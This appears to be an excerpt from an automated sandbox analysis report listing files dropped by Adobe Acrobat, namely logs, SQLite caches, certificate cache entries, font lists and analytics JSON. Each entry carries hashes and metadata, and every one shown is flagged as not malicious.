SHA-512:	896B541C4A6F7F13A14642B7F38A80EEF39CF931D90BCFEA48F0D4570E9DFA95D8C28EE93731E3BC88EEAE70028A1DD5C2394431AE6E4E9C8CBEB045EE519C02
Malicious:	false
Preview:	2025/01/10-23:39:42.871 1eb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:39:42.872 1eb4 Recovering log #3.2025/01/10-23:39:42.873 1eb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.231251301131495
Encrypted:	false
SSDEEP:	6:iO4q7uPF9Iq2PcNwi2nKuAl9OmbzNMxIFUtSq7uPAXZmwsq7uPfZDzkwOcNwi2nv:7R6F9IvLZHAa8jFUtP6M/16RDz54ZHAo
MD5:	748BD6FDAF4D36C2E08C0288AE3AE00B
SHA1:	81BC92762BCE8E112C08715CA3961780DBB127DC
SHA-256:	8CCD226885DE541AE4F10BA84319AAC6C62FCB6DB4084E6515CAA4B17BF845EE
SHA-512:	896B541C4A6F7F13A14642B7F38A80EEF39CF931D90BCFEA48F0D4570E9DFA95D8C28EE93731E3BC88EEAE70028A1DD5C2394431AE6E4E9C8CBEB045EE519C02
Malicious:	false
Preview:	2025/01/10-23:39:42.871 1eb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:39:42.872 1eb4 Recovering log #3.2025/01/10-23:39:42.873 1eb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438969566039012
Encrypted:	false
SSDEEP:	384:yeaci5G2iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1+urVgazUpUTTGt
MD5:	9302FE896AB617FC2DDF3A4B060DCB55
SHA1:	F94D7F6322105B6CFD505A75F4DDFD10FAA9C809
SHA-256:	1F58DDE7CB770D1F53BB2B7067245215BDD8A30A19212C02168D9C661B2EE939
SHA-512:	8D072F519A55EC4C1B423442827FFCDB6818B42D50BFFBF95E6F5A9E563CC63DED6B7C772A3ACBE226A4DD1B5D90C9C5F0ABA0F20FD210E09D76BFBCAD721C2D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.777715432866096
Encrypted:	false
SSDEEP:	48:7M4p/E2ioyVwcioy3DoWoy1CABoy17YKOioy1noy1AYoy1Wioy1hioybioyBJoyH:7Ppjuwc0iAPsXKQ0bFb9IVXEBodRBkV
MD5:	E8DD3ED731FD5A6CD97BDB16C7FA6D1B
SHA1:	0F1A9D3E6EBEC7CA5BAA573AF61F8C32F1A1DD34
SHA-256:	D37AD1069F3277A39C879BA4A76E703B2F4C3023343C340696E8A30D62B0C342
SHA-512:	577B5D761C57F36CD485E8B1F237FED056119CC88B4BB0EDD296EA57995C718C71CE84831E60C0C4A8EAF020C907CEB43330F8ECBD7F5B3095DE1EAEDEAFC944
Malicious:	false
Preview:	.... .c........6...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7217198674325385
Encrypted:	false
SSDEEP:	3:kkFklUAbN/ltfllXlE/HT8knmlltNNX8RolJuRdxLlGB9lQRYwpDdt:kKNoteT8uSdNMa8RdWBwRd
MD5:	A76CEBAEAA7F855B2E8A5B3399CE594D
SHA1:	484A2B66DA5C3CBA47F286D5E8F012CF6D4F15F9
SHA-256:	6E16B09BABF44203D850ECEEF7D2C8A331C4410C4A55C6814C8F58E3D6191BFD
SHA-512:	33884CE3397A011370E0710934111B2B310E41E16D5177168B940BE2C35BEA6B28425749D1D909DEB84FB563243FFFC0240301A17601CC5EA5F6BDB4C9A57D52
Malicious:	false
Preview:	p...... ........gK...c..(....................................................... ..........W....Bq..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKVmpl/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:0iDImsLNkPlE99SNxAhUe/3
MD5:	D419634705133A717E69E03D3396D61E
SHA1:	8B5B4F1312248EFD957C0CBF6EB6287148ED80A2
SHA-256:	2C5C35531EF65970501C8EF4375E584C713EDDBE5E4E59AB3C35396028E97BFA
SHA-512:	37003F29D3BFA42E6D30BDDD1F8B9F248AEB20332FC09F04FEE87B8717E583752F2E6E5F7733CD13F2A7FB186F9D2DC684321D4A5107D87F2F4CAC9555127172
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7504

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7504

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.367605576836829
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEI9G2KO4WsGiIPEeOF0YgX+xoAvJM3g98kUwPeUkwRe9:YvXKXDk2zbsdTeOyBGMbLUkee9
MD5:	2D9DF1B8363D2E3F989AFFF09E869C68
SHA1:	C385456F59275BA11C4628DEC844DC7354E018ED
SHA-256:	BB5B4DA0006E15327CB72C49D379028EA85D33F13D1FBB3BD8DBF225EFB53B7A
SHA-512:	97AC3A4E44891E00E0C2836F59FBF1EA9283733D640543C4E8A77F572FD1920290100727A2E4CFD5B98A17623EA99204A249C4E813A37831CFD53DCD2F9D955C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.298847354321491
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEI9G2KO4WsGiIPEeOF0YgX+xoAvJfBoTfXpnrPeUkwRe9:YvXKXDk2zbsdTeOyBGWTfXcUkee9
MD5:	F569CE8E409663EAF0617526531303D7
SHA1:	C7C578F64734882DA83E882F3B5D84A90D69A632
SHA-256:	473FB2A748404D02152886093E3C75345564D7E77283923E5AB2A76ED3E182D6
SHA-512:	74962ECDD2D1E670D919188C50C14410F8BED1436D6FB3DF83DE8D6B8765C482F8F4DD8CA16CBAA1F9E992CC9C72C2594563E56C72B5D4C49F0496712D0EC177
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.278172277160083
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEI9G2KO4WsGiIPEeOF0YgX+xoAvJfBD2G6UpnrPeUkwRe9:YvXKXDk2zbsdTeOyBGR22cUkee9
MD5:	CCC550A808F99D6FC804473790853A3B
SHA1:	BDE08C59AC1B0CDFDE637F02240EB6AE327D1C18
SHA-256:	70D7FC0AF5A820941F54B933455CFAB0FD06DAF89EF50B64EDF6D5B00D6D84A0
SHA-512:	7F7385891CF6D2B1F510570227CEC206F8D618D2A925FD771EB082278F99AD390DD8ADD39B4606E8E9654E4AF7FC024FD8026F4A5DCDAE25F711F3CB5B380763
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.354632728781807
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEI9G2KO4WsGiIPEeOF0YgX+xoAvJfPmwrPeUkwRe9:YvXKXDk2zbsdTeOyBGH56Ukee9
MD5:	BAFF0E68F8408712CD6110C75E9C8E00
SHA1:	3F25BF3D0330038A4971047E5C5D01DDBA2C2956
SHA-256:	98EE0204E5D4BD2F5F1CB37B0340CAA0E0BDAB1E8D1EA452771CBFA9366BCCF3
SHA-512:	C6FBD85EB307EA430EF4836387D3EDB778F4EA24574DD032B29D7F2D3B4E689DC614A4A9568D614BB442A53413AD80321CA50FF1761C1A41E265C38964DC8AAD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.681105504625923
Encrypted:	false
SSDEEP:	24:Yv6XDk2zbmeO7pLgE9cQx8LennAvzBvkn0RCmK8czOCCSR:Yvd2Oe4hgy6SAFv5Ah8cv/R
MD5:	EECBC32716F3A7A630623AF36E9577F2
SHA1:	DB63DC1D7FB3F115BB36BD0F9F78DA8788E6224C
SHA-256:	4752F0BD31CD17021D2AF70A123907961DEEB94091C54F020E3B476AA5DEB706
SHA-512:	F7352668F638C2E487F40450E8621C928E70FC5B5DF237D408CEFEBD8A9ACF788D1D5E3F782030F188814FB6428BB154DBB9CC19D3104C5D4E7F88FB135035FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b7e58ae-05eb-4fce-ab99-adbfd6c5e306","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749146404,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286875803965546
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEI9G2KO4WsGiIPEeOF0YgX+xoAvJf8dPeUkwRe9:YvXKXDk2zbsdTeOyBGU8Ukee9
MD5:	B5DBF2ECE6D81A53E97A41778AEC820C
SHA1:	731F9015818C79947C3336F5D521754BB4381583
